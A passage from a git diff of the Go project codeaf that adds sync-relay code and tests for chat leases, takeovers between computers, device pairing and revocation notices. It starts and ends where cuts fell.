toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + syncDrives.closeAll() + + s, ok, err := syncsetup.Open(home.Dir()) + if err != nil || !ok { + t.Fatalf("Open = %v, %v", ok, err) + } + head, _ := cellstore.Head(c) + v, err := s.Dir.Cell(context.Background(), c.ID) + if err != nil || v.Cell.Head != head.Turn.ID { + t.Fatalf("directory head %q (%v), want the chat's %q", v.Cell.Head, err, head.Turn.ID) + } + if v.Cell.Lease.Expires != 0 || v.Cell.Lease.Device != s.Device.ID() { + t.Fatalf("lease after close = %+v, want released by this device", v.Cell.Lease) + } +} + +// A device the relay has stopped is a refusal the person is told of, even when +// the error arrives wrapped; a relay that is merely unreachable is not. +func TestSayRefusalOnlyForRefusals(t *testing.T) { + if !sayRefusal(fmt.Errorf("put device: %w", wireauth.ErrRevoked)) { + t.Error("a stopped device was not told") + } + if sayRefusal(errors.New("connection refused")) || sayRefusal(nil) { + t.Error("a failure that is not a refusal was said") + } +} + +// A chat that opened before this computer had an identity starts to sync the +// moment /pair makes one, with no restart: the next call's seal is published and +// closing the chat gives the lease back, exactly as for a chat that was paired +// from the start. +func TestDriveSideStartsWhenAPairingMakesTheIdentity(t *testing.T) { + cfg, c := doorChat(t) + srv := httptest.NewServer(relayserve.New(relayserve.Config{Store: t.TempDir()}).Handler) + t.Cleanup(srv.Close) + t.Setenv(syncsetup.URLVar, srv.URL) + t.Setenv(syncsetup.IntervalVar, "50") + + seated := v3Seated(cfg) + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + if _, err := identity.Ensure(home.Dir()); err != nil { // what /pair does in the running chat + t.Fatal(err) + } + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + syncDrives.closeAll() + + s, ok, err := syncsetup.Open(home.Dir()) + if err != nil || !ok { + t.Fatalf("Open = %v, %v", ok, err) + } + head, _ := cellstore.Head(c) + v, err := s.Dir.Cell(context.Background(), c.ID) + if err != nil || v.Cell.Head != head.Turn.ID { + t.Fatalf("directory head %q (%v), want the chat's %q", v.Cell.Head, err, head.Turn.ID) + } +} + +// A chat open while its computer is solo uploads its next turns the moment the +// computer is approved, with no reopen. +func TestDriveSideStartsWhenTheSoloMarkerEnds(t *testing.T) { + cfg, c := doorChat(t) + srv := httptest.NewServer(relayserve.New(relayserve.Config{Store: t.TempDir()}).Handler) + t.Cleanup(srv.Close) + t.Setenv(syncsetup.URLVar, srv.URL) + t.Setenv(syncsetup.IntervalVar, "50") + if _, err := identity.EnsureSolo(home.Dir()); err != nil { + t.Fatal(err) + } + + seated := v3Seated(cfg) + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + if d := syncDrives.drive[c.ID]; d == nil || d.started() != nil { + t.Fatal("a solo computer must hold a waiting drive side, not a running one") + } + if err := identity.EndSolo(home.Dir()); err != nil { // what an approval does + t.Fatal(err) + } + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + syncDrives.closeAll() + + s, ok, err := syncsetup.Open(home.Dir()) + if err != nil || !ok { + t.Fatalf("Open = %v, %v", ok, err) + } + head, _ := cellstore.Head(c) + v, err := s.Dir.Cell(context.Background(), c.ID) + if err != nil || v.Cell.Head != head.Turn.ID { + t.Fatalf("directory head %q (%v), want the chat's %q", v.Cell.Head, err, head.Turn.ID) + } +} + +// One predicate, four states, the drive paths: startDrive and liveDrive agree +// with syncsetup.MayTalk. +func TestDrivePathsFollowMayTalk(t *testing.T) { + cases := []struct { + name string + setup func(dir string) + talk bool + }{ + {"no identity", func(string) {}, false}, + {"solo", func(d string) { _, _ = identity.EnsureSolo(d) }, false}, + {"paired", func(d string) { _, _ = identity.Ensure(d) }, true}, + {"engaged", func(d string) { _, _ = identity.EnsureSolo(d); _ = identity.EndSolo(d) }, true}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + cfg, c := doorChat(t) + srv := httptest.NewServer(relayserve.New(relayserve.Config{Store: t.TempDir()}).Handler) + t.Cleanup(srv.Close) + t.Setenv(syncsetup.URLVar, srv.URL) + tc.setup(home.Dir()) + if got := syncsetup.MayTalk(home.Dir()); got != tc.talk { + t.Fatalf("MayTalk = %v, want %v", got, tc.talk) + } + d, err := startDrive(c, cellstore.EngineFor(""), func(error) {}) + if (d != nil) != tc.talk { + t.Fatalf("startDrive drive=%v err=%v, want drive %v", d != nil, err, tc.talk) + } + if d != nil { + _ = d.Close(context.Background()) + } + _ = cfg + }) + } +} + +// A computer with no identity is waiting, not failing to seal: with the hosted default every fresh +// computer is in that state, and it must not show a failing seal on its first launch. +func TestStartDriveWithNoIdentityReportsNothing(t *testing.T) { + celltest.Available(t) + t.Setenv("CODEAF_HOME", t.TempDir()) + t.Setenv(syncsetup.URLVar, "") + var reported []error + d, err := startDrive(cell.Cell{}, cellstore.Engine{}, func(e error) { reported = append(reported, e) }) + if d != nil || !errors.Is(err, syncsetup.ErrNoIdentity) { + t.Fatalf("startDrive = %v, %v; want no drive and ErrNoIdentity", d, err) + } + if len(reported) != 0 { + t.Fatalf("waiting for an identity was reported as a seal outcome: %v", reported) + } +} + +// A chat that was moved to another computer and then moved back opens here with a drive side of +// its own. The drive side kept from before the move only shows the chat, so reusing it would +// refuse every tool call in the chat that was moved back. +func TestAChatMovedBackGetsADriveSideOfItsOwn(t *testing.T) { + cfg, c := doorChat(t) + srv, published, closeRelay := driveRelayWithPublication(t, c.ID) + defer closeRelay() + t.Setenv(syncsetup.URLVar, srv.URL) + t.Setenv(syncsetup.IntervalVar, "50") + first := home.Dir() + id, err := identity.Ensure(first) + if err != nil { + t.Fatal(err) + } + seated := v3Seated(cfg) + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + select { + case <-published: + case <-time.After(15 * time.Second): + t.Fatal("the first durable call did not reach the relay") + } + firstBook := syncDrives + + // The second computer, one identity with the first, opens the chat while the first drives it. + second := t.TempDir() + blob, err := identity.Export(id, "p") + if err != nil { + t.Fatal(err) + } + moved, err := identity.Import(blob, "p") + if err != nil { + t.Fatal(err) + } + if _, err := identity.Adopt(second, moved, false); err != nil { + t.Fatal(err) + } + t.Setenv(home.EnvVar, second) + syncDrives = &driveBook{} + t.Cleanup(func() { syncDrives = firstBook }) + engine := cellstore.EngineFor(cfg.Place.Workspace) + viewing := syncDrives.driveOf(c, engine, func(error) {}) + if viewing == nil { + t.Fatal("the second computer made no drive side") + } + if err := viewing.Gate(); err == nil { + t.Fatal("the second computer was writable while the first held the chat") + } + if viewing.started() == nil { + t.Fatal("the second computer's ownership check did not finish") + } + if _, viewer := viewing.started().Viewer(); !viewer { + t.Fatal("the first computer's lease did not make the second view-only") + } + + // The first computer lets the chat go; opening it again here must drive it. + t.Setenv(home.EnvVar, first) + firstBook.closeAll() + t.Setenv(home.EnvVar, second) + again := syncDrives.driveOf(c, engine, func(error) {}) + if again == viewing { + t.Fatal("the drive side that only showed the chat was reused") + } + if line := again.Gate(); line != nil { + t.Fatalf("a chat opened after it was moved back is refused: %v", line) + } +} + +// A chat that another computer took and that was then taken back here, with no word reaching the +// drive side this window kept, opens with a drive side of its own: the old one publishes under a +// lease that is gone, so reusing it would refuse every tool call in the chat that came back. +func TestAChatTakenAndTakenBackGetsADriveSideOfItsOwn(t *testing.T) { + cfg, c := doorChat(t) + srv, published, closeRelay := driveRelayWithPublication(t, c.ID) + defer closeRelay() + t.Setenv(syncsetup.URLVar, srv.URL) + t.Setenv(syncsetup.IntervalVar, "50") + first := home.Dir() + id, err := identity.Ensure(first) + if err != nil { + t.Fatal(err) + } + seated := v3Seated(cfg) + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + select { + case <-published: + case <-time.After(15 * time.Second): + t.Fatal("the first durable call did not reach the relay") + } + kept := syncDrives.drive[c.ID] + + second := t.TempDir() + blob, err := identity.Export(id, "p") + if err != nil { + t.Fatal(err) + } + moved, err := identity.Import(blob, "p") + if err != nil { + t.Fatal(err) + } + if _, err := identity.Adopt(second, moved, false); err != nil { + t.Fatal(err) + } + force := func(dir string) { + t.Helper() + s, ok, err := syncsetup.Open(dir) + if err != nil || !ok { + t.Fatalf("Open(%s) = %v, %v", dir, ok, err) + } + if _, err := s.Dir.Acquire(context.Background(), c.ID, directory.AcquireOpts{Force: true}); err != nil { + t.Fatal(err) + } + } + force(second) // the other computer takes the chat + force(first) // and it is taken back here, as a take does + + again := syncDrives.driveOf(c, cellstore.EngineFor(cfg.Place.Workspace), func(error) {}) + if again == kept { + t.Fatal("the drive side whose lease was taken was reused") + } + if err := again.Gate(); err != nil { + t.Fatalf("a chat taken back is refused: %v", err) + } +} + +// A chat in the middle of its takeover here is not opened: the session would +// read the journal as it was before the swap. The door says so, builds nothing, +// and opens the chat once the takeover is over. +func TestAChatBeingTakenIsNotOpened(t *testing.T) { + cfg, _ := doorChat(t) + opened := 0 + open := func(session.Config) (*session.Agent, error) { opened++; return nil, errors.New("stop here") } + release := handoff.Arrive(cfg.Place.Dir) + if _, _, _, err := openV3Agent(cfg, cfg.Place.Workspace, open); err == nil || err.Error() != chatArrivingSentence { + t.Fatalf("a chat being taken was opened or refused in other words: %v", err) + } + if opened != 0 { + t.Fatal("a session was built for a chat that is being taken") + } + release() + _, _, _, _ = openV3Agent(cfg, cfg.Place.Workspace, open) + if opened != 1 { + t.Fatal("the chat did not open after its takeover ended") + } +} + +// driveRelayWithPublication exposes C4's durable directory receipt, so a test +// can take the chat after publication without putting the network back on paint. +func driveRelayWithPublication(t *testing.T, id string) (*httptest.Server, <-chan struct{}, func()) { + t.Helper() + service := relayserve.New(relayserve.Config{Store: t.TempDir()}) + published := make(chan struct{}) + var once sync.Once + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + service.Handler.ServeHTTP(w, r) + if r.Method == http.MethodPost && r.URL.Path == "/v1/dir/cells/"+id { + once.Do(func() { close(published) }) + } + })) + return server, published, func() { syncDrives.closeAll(); server.Close(); _ = service.Close() } +} diff --git a/cmd/codeaf/syncstanding_test.go b/cmd/codeaf/syncstanding_test.go new file mode 100644 index 0000000000..de093e964b --- /dev/null +++ b/cmd/codeaf/syncstanding_test.go @@ -0,0 +1,130 @@ +package main + +import ( + "context" + "sync" + "testing" + + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/dirwatch" + "github.com/Agent-Field/codeaf/internal/tui3" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// countingDir answers every listing as a relay that has stopped this device, +// and counts how often it was asked. +type countingDir struct { + directory.Client + asked int +} + +func (c *countingDir) List(context.Context) (directory.Listing, error) { + c.asked++ + return directory.Listing{}, wireauth.ErrRevoked +} + +func TestCheckStandingAsksOnlyASharedHome(t *testing.T) { + cases := []struct { + name string + shared bool + asked int + said int + }{{"solo home sends nothing", false, 0, 0}, {"shared home asks once and says so", true, 1, 1}} + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + home := t.TempDir() + if _, err := identity.EnsureSolo(home); err != nil { + t.Fatal(err) + } + if tc.shared { + if err := identity.EndSolo(home); err != nil { + t.Fatal(err) + } + } + dir, lines := &countingDir{}, []string{} + checkStanding(home, dir, func(l string) { lines = append(lines, l) }) + if dir.asked != tc.asked || len(lines) != tc.said { + t.Errorf("asked %d said %v, want %d and %d lines", dir.asked, lines, tc.asked, tc.said) + } + }) + } +} + +// fakeFeed is a follower the test drives: set the state, then signal. +type fakeFeed struct { + dirwatch.Follower + mu sync.Mutex + state dirwatch.State + changes chan struct{} + closed bool +} + +func newFakeFeed() *fakeFeed { return &fakeFeed{changes: make(chan struct{}, 4)} } + +func (f *fakeFeed) State() dirwatch.State { + f.mu.Lock() + defer f.mu.Unlock() + return f.state +} +func (f *fakeFeed) Changes() <-chan struct{} { return f.changes } +func (f *fakeFeed) Close() { f.closed = true } + +func (f *fakeFeed) refuse(err error) { + f.mu.Lock() + f.state.Refused = err + f.mu.Unlock() + f.changes <- struct{}{} +} + +func sharedHome(t *testing.T) string { + t.Helper() + home := t.TempDir() + if _, err := identity.EnsureSolo(home); err != nil { + t.Fatal(err) + } + if err := identity.EndSolo(home); err != nil { + t.Fatal(err) + } + return home +} + +func TestARevokedSocketIsSaidOnceWhileTheAppRuns(t *testing.T) { + feed := newFakeFeed() + desk := tui3.NewNotices() + var lines []string + say := func(l string) { lines = append(lines, l); desk.SayOnce(l) } + done := make(chan struct{}) + go func() { watchStanding(sharedHome(t), func() dirwatch.Follower { return feed }, say); close(done) }() + feed.changes <- struct{}{} // a presence change is not a refusal + feed.refuse(dirwatch.ErrRevoked) + <-done + // the first refused request finds out the same thing a moment later + sayRefusalTo(desk.SayOnce, wireauth.ErrRevoked) + if len(lines) != 1 || lines[0] != chatlist.Removed { + t.Fatalf("said %q, want the removed sentence once", lines) + } + if !feed.closed { + t.Error("the listener kept the feed after the refusal") + } +} + +func TestAFeedAlreadyRefusedIsSaidAtOnce(t *testing.T) { + feed := newFakeFeed() + feed.state.Refused = dirwatch.ErrRotated + var lines []string + watchStanding(sharedHome(t), func() dirwatch.Follower { return feed }, func(l string) { lines = append(lines, l) }) + if len(lines) != 1 || lines[0] != chatlist.Replaced { + t.Fatalf("said %q, want the replaced sentence", lines) + } +} + +func TestASoloHomeOpensNoSocketToListen(t *testing.T) { + home := t.TempDir() + if _, err := identity.EnsureSolo(home); err != nil { + t.Fatal(err) + } + watchStanding(home, func() dirwatch.Follower { t.Fatal("a solo home followed the feed"); return nil }, nil) +} diff --git a/cmd/codeaf/synctake.go b/cmd/codeaf/synctake.go new file mode 100644 index 0000000000..c666ced45a --- /dev/null +++ b/cmd/codeaf/synctake.go @@ -0,0 +1,178 @@ +package main + +import ( + "context" + "errors" + "path/filepath" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/dirwatch" + "github.com/Agent-Field/codeaf/internal/guard" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/syncsetup" + "github.com/Agent-Field/codeaf/internal/tui3" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// surfaceNotices is the one desk the sync side puts its sentences on for the +// surface to say at once: another machine took the chat over, the clock is off. +// The drive side and the take side both speak through it (tui3/notices.go). +var surfaceNotices = tui3.NewNotices() + +// wireSync gives the surface everything that needs a relay: the chats on other +// machines, `continue here`, and what a branch row can do. With sync off, or +// when it cannot start, it adds nothing and the home screen must not fail to +// start over a relay setting: every seam stays nil, and a nil seam is absent. +func wireSync(o *tui3.Options) { + if o.Notices == nil { + o.Notices = surfaceNotices + } + s, err := syncOfFirst() + if err != nil { + return + } + if o.Machines == nil { + o.Machines = s + } + if o.Fleet == nil { + o.Fleet = s + } + take := takeover{s.Continuer(cellstore.EngineFor(""), syncsetup.TakeOptions{ + DeviceName: deviceName(), + RootFor: takeRootFor, + BucketFor: takeCopyBucket, + Notify: surfaceNotices.Say, + })} + if o.Takeover == nil { + o.Takeover = take + } + if o.Branches.Open == nil { + o.Branches.Open = take.OpenBranch + } + if o.Branches.Discard == nil { + o.Branches.Discard = s.Discard + } + guard.Go("sync/standing", func() { checkStanding(s.Home, s.Dir, surfaceNotices.SayHomeOnce) }) + guard.Go("sync/standing-live", func() { watchStanding(s.Home, s.Follow, surfaceNotices.SayHomeOnce) }) +} + +// standingWithin bounds the launch-time check so a silent relay costs nothing. +const standingWithin = 15 * time.Second + +// checkStanding asks the directory once at launch whether this device is still +// let in, and says the refusal (removed from the fleet, replaced) as soon as the +// surface is up. A conversation that is only resumed, and so has no drive side +// yet, would otherwise open as if nothing were wrong until its first message. +// A solo identity (made here, never shared) cannot have been stopped, so it +// asks nothing: a fresh install sends the sync service no request on its own. +func checkStanding(dir string, d directory.Client, say func(string)) { + if !syncsetup.MayTalk(dir) { + return + } + ctx, cancel := context.WithTimeout(context.Background(), standingWithin) + defer cancel() + _, err := d.List(ctx) + sayRefusalTo(say, err) +} + +// watchStanding keeps listening, for as long as the app runs, for the relay +// ending this device's socket as removed or replaced, and says it the moment it +// happens, in the open chat and on home alike, without waiting for a restart or +// the next refused request. The same quiet law as checkStanding: a home that +// cannot talk to anyone holds no socket. The feed stops reconnecting after a +// refusal, so the listener ends there too. +func watchStanding(dir string, follow func() dirwatch.Follower, say func(string)) { + if !syncsetup.MayTalk(dir) { + return + } + f := follow() + if f == nil { + return + } + defer f.Close() + for refused(f) == nil { + if _, open := <-f.Changes(); !open { + return + } + } + sayRefusalTo(say, standingRefusal(refused(f))) +} + +// refused is the final refusal the feed ended with, nil while it is not ended. +func refused(f dirwatch.Follower) error { return f.State().Refused } + +// standingRefusals maps the feed's final refusals to the wire's, so the one +// table of sentences (cellsync.refusals) is the only place they are written. +var standingRefusals = []struct{ feed, wire error }{ + {dirwatch.ErrRevoked, wireauth.ErrRevoked}, + {dirwatch.ErrRotated, wireauth.ErrRotated}, +} + +func standingRefusal(err error) error { + for _, r := range standingRefusals { + if errors.Is(err, r.feed) { + return r.wire + } + } + return err +} + +// takeover is the surface's Taker over the take side: what a takeover reports, +// in the shape the surface knows. +type takeover struct{ c *syncsetup.Continuer } + +var _ tui3.Taker = takeover{} + +func (t takeover) Take(ctx context.Context, id string) (tui3.Taken, error) { + return t.TakeSeen(ctx, id, nil) +} + +// TakeSeen carries the card's observed holder through the wire's conditional +// acquire, so its consent cannot displace a holder that arrived meanwhile. +func (t takeover) TakeSeen(ctx context.Context, id string, seen *directory.LeaseExpectation) (tui3.Taken, error) { + began := time.Now() + got, err := t.c.TakeSeen(ctx, id, seen) + elapsed := time.Since(began) + if err != nil { + return tui3.Taken{}, err + } + return surfaceTaken(got, elapsed), nil +} + +func (t takeover) OpenBranch(ctx context.Context, id string) (tui3.Taken, error) { + began := time.Now() + got, err := t.c.OpenBranch(ctx, id) + if err != nil { + return tui3.Taken{}, err + } + return surfaceTaken(got, time.Since(began)), nil +} + +func surfaceTaken(got syncsetup.Continued, elapsed time.Duration) tui3.Taken { + return tui3.Taken{Kept: got.Taken.Kept, KeptTurns: got.KeptTurns, Device: got.Device, TaskCopies: got.TaskCopies, Resume: got.Resume, Transcript: filepath.Join(got.Taken.Cell.Root, cell.TranscriptPath), Elapsed: elapsed} +} + +// takeRootFor is where this machine keeps the chat with an id: the folder it +// already has, found where a chat keeps it, and otherwise a folder in the +// bucket of chats that belong to no project, where a chat that arrives from +// another machine is at home. +func takeRootFor(id string) string { + if c, err := openCellByID(id); err == nil { + return c.Root + } + return filepath.Join(home.Join("v3", "projects", "copies"), id) +} + +// takeCopyBucket files each copy under the folder it came from, apart from +// conversations that work in this computer's own folder of the same name. +func takeCopyBucket(origin string) string { + return home.Join("v3", "projects", "copy-"+encodeWorkspace(origin)) +} + +// deviceName is what this machine is called in a sentence about it: the name a +// person gave it, else its host name. +func deviceName() string { return devname.Name(home.Dir()) } diff --git a/cmd/codeaf/synctake_test.go b/cmd/codeaf/synctake_test.go new file mode 100644 index 0000000000..d528951af1 --- /dev/null +++ b/cmd/codeaf/synctake_test.go @@ -0,0 +1,86 @@ +package main + +import ( + "github.com/Agent-Field/codeaf/internal/cell/celltest" + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/syncsetup" + "github.com/Agent-Field/codeaf/internal/tui3" +) + +// With no relay set the surface gets the notice desk and nothing else: every +// other seam stays nil, and a nil seam is an absent verb, never a broken one. +func TestWireSyncOffAddsOnlyTheDesk(t *testing.T) { + t.Setenv(home.EnvVar, t.TempDir()) + t.Setenv(syncsetup.URLVar, "off") + var o tui3.Options + wireSync(&o) + if o.Machines != nil || o.Takeover != nil || o.Branches.Discard != nil || o.Branches.Merge != nil { + t.Fatalf("sync off wired %+v", o) + } + if o.Notices == nil { + t.Fatal("the notice desk is missing") + } +} + +// C6 amended: with sync and an identity the real surface wires opening kept +// turns separately alongside discard, and offers no merge. +func TestWireSyncOnWiresTheTakeSide(t *testing.T) { + celltest.Available(t) + h := t.TempDir() + t.Setenv(home.EnvVar, h) + t.Setenv(syncsetup.URLVar, "http://127.0.0.1:1") + if _, err := identity.Ensure(h); err != nil { + t.Fatal(err) + } + var o tui3.Options + wireSync(&o) + if o.Machines == nil || o.Takeover == nil || o.Branches.Open == nil || o.Branches.Discard == nil { + t.Fatalf("sync on wired %+v", o) + } + if o.Branches.Merge != nil { + t.Fatal("a merge is offered and there is none") + } +} + +// A chat this machine already has is taken back into the folder it is in; one +// it has never seen gets a folder in the bucket of chats with no project. +func TestTakeRootForFindsTheFolderAChatIsIn(t *testing.T) { + h := t.TempDir() + t.Setenv(home.EnvVar, h) + t.Setenv("HOME", t.TempDir()) + bucket := filepath.Join(h, "v3", "projects", "-work-project") + c, err := cell.CreateIn(bucket, cell.Options{Class: cell.HostBound}) + if err != nil { + t.Fatal(err) + } + if got := takeRootFor(c.ID); got != c.Root { + t.Fatalf("takeRootFor(%s) = %s, want the folder it is in, %s", c.ID, got, c.Root) + } + const stranger = "01J0000000000000000000000Z" + if got := takeRootFor(stranger); filepath.Base(got) != stranger || filepath.Dir(filepath.Dir(got)) != filepath.Join(h, "v3", "projects") { + t.Fatalf("a new chat is kept at %s, want a bucket under v3/projects", got) + } +} + +// The title a chat publishes is the one its session record has now. +func TestChatTitleIsTheSessionsTitle(t *testing.T) { + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.HostBound}) + if err != nil { + t.Fatal(err) + } + if got := chatTitle(c); got != "" { + t.Fatalf("a chat nothing named has title %q", got) + } + if err := session.SaveMeta(c.Root, session.Meta{ID: c.ID, Title: "Port the picker"}); err != nil { + t.Fatal(err) + } + if got := chatTitle(c); got != "Port the picker" { + t.Fatalf("chatTitle = %q", got) + } +} diff --git a/cmd/codeaf/syncwire.go b/cmd/codeaf/syncwire.go new file mode 100644 index 0000000000..7bd164b459 --- /dev/null +++ b/cmd/codeaf/syncwire.go @@ -0,0 +1,33 @@ +package main + +import ( + "errors" + + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// syncListSource is the chat list's source for the headless verb. With no +// relay set it says sync is off, and with a relay but no identity it says so: +// two causes, two sentences, so the person is told what to do. +func syncListSource() (chatlist.Source, error) { return syncOf() } + +// syncOf is the sync of this machine, or the sentence that says why there is +// none. +func syncOf() (*syncsetup.Sync, error) { return syncFrom(syncsetup.Open) } + +// syncOfFirst is syncOf for the app's own launch, where a machine with a relay +// and no identity is the first machine and makes one. +func syncOfFirst() (*syncsetup.Sync, error) { return syncFrom(syncsetup.OpenFirst) } + +func syncFrom(open func(string) (*syncsetup.Sync, bool, error)) (*syncsetup.Sync, error) { + s, ok, err := open(home.Dir()) + if err != nil { + return nil, err + } + if !ok { + return nil, errors.New(chatlist.SyncOff) + } + return s, nil +} diff --git a/cmd/codeaf/usage.go b/cmd/codeaf/usage.go index bf15ad8e07..11d39f1c6a 100644 --- a/cmd/codeaf/usage.go +++ b/cmd/codeaf/usage.go @@ -339,11 +339,7 @@ func breakLong(word string, width int) []string { // cache clean` are one noun with two verbs on it, not one word meaning two // things, and without this entry `codeaf cache --help` would print the // destructive command's line under the harmless one's name. -// `devices revoke` is the same shape as `cache clean` and is here for the same -// reason: one noun, a harmless reading verb and a destructive one, and without -// the entry `codeaf devices --help` would print the revoking line under the -// listing's name. -var longerCommands = []string{"cache clean", "devices revoke"} +var longerCommands = []string{"cache clean"} // usageForCommand lifts one command's lines out of [usageText]. // @@ -523,7 +519,7 @@ func commandWords() []string { // programs this build carries are joined to it where it is read // ([commandWords]). var knownCommands = []string{ - "chat", "resume", "serve", "devices", "do", "plan", "revise", "run", "exec", + "chat", "resume", "pair", "serve", "devices", "do", "plan", "revise", "run", "exec", "show", "models", "pool", "notebook", "collections", "competence", "services", "patch", "doc", "web", "image", "doctor", diff --git a/cmd/codeaf/wormhole_contract_test.go b/cmd/codeaf/wormhole_contract_test.go new file mode 100644 index 0000000000..2366cee26a --- /dev/null +++ b/cmd/codeaf/wormhole_contract_test.go @@ -0,0 +1,201 @@ +package main + +import ( + "context" + "io" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/syncsetup" + "github.com/Agent-Field/codeaf/internal/tui3" +) + +// TestC4SeatConstructionDoesNotWaitForTheRelay proves C4: the surface can draw +// its first frame while the first relay response is still held by the network. +func TestC4SeatConstructionDoesNotWaitForTheRelay(t *testing.T) { + cfg, _ := doorChat(t) + entered, release := make(chan struct{}, 1), make(chan struct{}) + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + select { + case entered <- struct{}{}: + default: + } + <-release + w.WriteHeader(http.StatusServiceUnavailable) + })) + defer srv.Close() + defer close(release) + t.Setenv(syncsetup.URLVar, srv.URL) + if _, err := identity.Ensure(home.Dir()); err != nil { + t.Fatal(err) + } + built := make(chan session.Config, 1) + go func() { built <- v3Seated(cfg) }() + var seated session.Config + select { + case seated = <-built: + case <-entered: + select { + case seated = <-built: + case <-time.After(10 * time.Second): + t.Fatal("first paint is blocked by an unfinished relay response during seat construction") + } + case <-time.After(15 * time.Second): + t.Fatal("seat construction did not reach the relay or return") + } + seated.Model = "test/model" + seated.BaseURL, seated.APIKey = "http://127.0.0.1:1", "fixture-key" + seated.Workspace = cfg.Place.Workspace + agent, err := session.New(seated) + if err != nil { + t.Fatal(err) + } + defer agent.Close() + input, writer := io.Pipe() + defer input.Close() + defer writer.Close() + sink := &firstFrameSink{painted: make(chan struct{}, 1)} + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + ended := make(chan error, 1) + go func() { + ended <- tui3.Run(ctx, tui3.Options{Agent: agent, Workspace: cfg.Place.Workspace, Notice: "frame arrived before sync", Input: input, Output: sink, Width: 100, Height: 30}) + }() + select { + case <-sink.painted: + case err := <-ended: + t.Fatalf("surface ended before its first frame: %v", err) + case <-time.After(15 * time.Second): + t.Fatal("no first frame while the relay response was held") + } + cancel() + select { + case <-ended: + case <-time.After(5 * time.Second): + t.Fatal("surface did not close") + } +} + +// TestC4AStartupFaultReleasesWaitingTools proves C4: background sync failing +// cannot leave the visible conversation waiting forever for its ownership read. +func TestC4AStartupFaultReleasesWaitingTools(t *testing.T) { + d := newLiveDrive(func() (*syncsetup.Drive, error) { panic("startup fixture") }) + done := make(chan struct{}) + go func() { _ = d.Gate(); close(done) }() + select { + case <-done: + case <-time.After(2 * time.Second): + t.Fatal("a sync startup fault left tool work waiting forever") + } + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + if err := d.Close(ctx); err != nil { + t.Fatal(err) + } +} + +// TestC1ChatApprovalPublishesTheApproverBeforePaired proves C1: no prior chat +// or sync tick is needed for the joining device to list its approver. +func TestC1ChatApprovalPublishesTheApproverBeforePaired(t *testing.T) { + rig := newPairRig(t) + if _, err := devname.Set(rig.homeA, "studio"); err != nil { + t.Fatal(err) + } + screen, done := rig.asking(t) + token := screen.waitFor(t, `codeaf pair approve (\S+)`)[1] + door := rig.approvalsAt(rig.homeA) + pending, err := door.Pending(context.Background(), token) + if err != nil { + t.Fatal(err) + } + if err := door.Approve(context.Background(), pending); err != nil { + t.Fatal(err) + } + if err := <-done; err != nil { + t.Fatal(err) + } + rows, err := rig.approvalsAt(rig.homeB).Devices(context.Background()) + if err != nil { + t.Fatal(err) + } + for _, row := range rows { + if !row.Self && row.Name == "studio" { + return + } + } + t.Fatalf("Paired. without the approving computer in the new device's list: %+v", rows) +} + +// TestC3RemovedDeviceHasOneExplanation proves C3: a refused list must not also +// claim that this computer never paired. +func TestC3RemovedDeviceHasOneExplanation(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + token := screen.waitFor(t, `codeaf pair approve (\S+)`)[1] + if _, err := rig.approveWith(t, []string{"approve", token}, "a\n"); err != nil { + t.Fatal(err) + } + if err := <-done; err != nil { + t.Fatal(err) + } + door := rig.approvalsAt(rig.homeA) + rows, err := door.Devices(context.Background()) + if err != nil { + t.Fatal(err) + } + for _, row := range rows { + if !row.Self { + if err := door.Revoke(context.Background(), row.ID); err != nil { + t.Fatal(err) + } + } + } + route, err := rig.door(rig.homeB, strings.NewReader(""), &pairScreenText{}).mailbox("") + if err != nil { + t.Fatal(err) + } + client, id, err := homeDirectory(rig.homeB, route) + if err != nil { + t.Fatal(err) + } + dev, err := identity.Device(rig.homeB) + if err != nil { + t.Fatal(err) + } + kind := chatsKindOf(client, id.CellKey(), dev.ID(), rig.url) + // The command returns the removal explanation instead of swallowing it and + // allowing listDevices to print pair.NoDevices. + if _, err := kind.table(time.Now()); err == nil || !strings.Contains(err.Error(), "removed") { + t.Fatalf("removed device's list ended with %v; would print %q", err, pair.NoDevices) + } +} + +// firstFrameSink recognizes text drawn in the frame, rather than terminal +// setup escape sequences that can be emitted before any screen exists. +type firstFrameSink struct { + mu sync.Mutex + text strings.Builder + painted 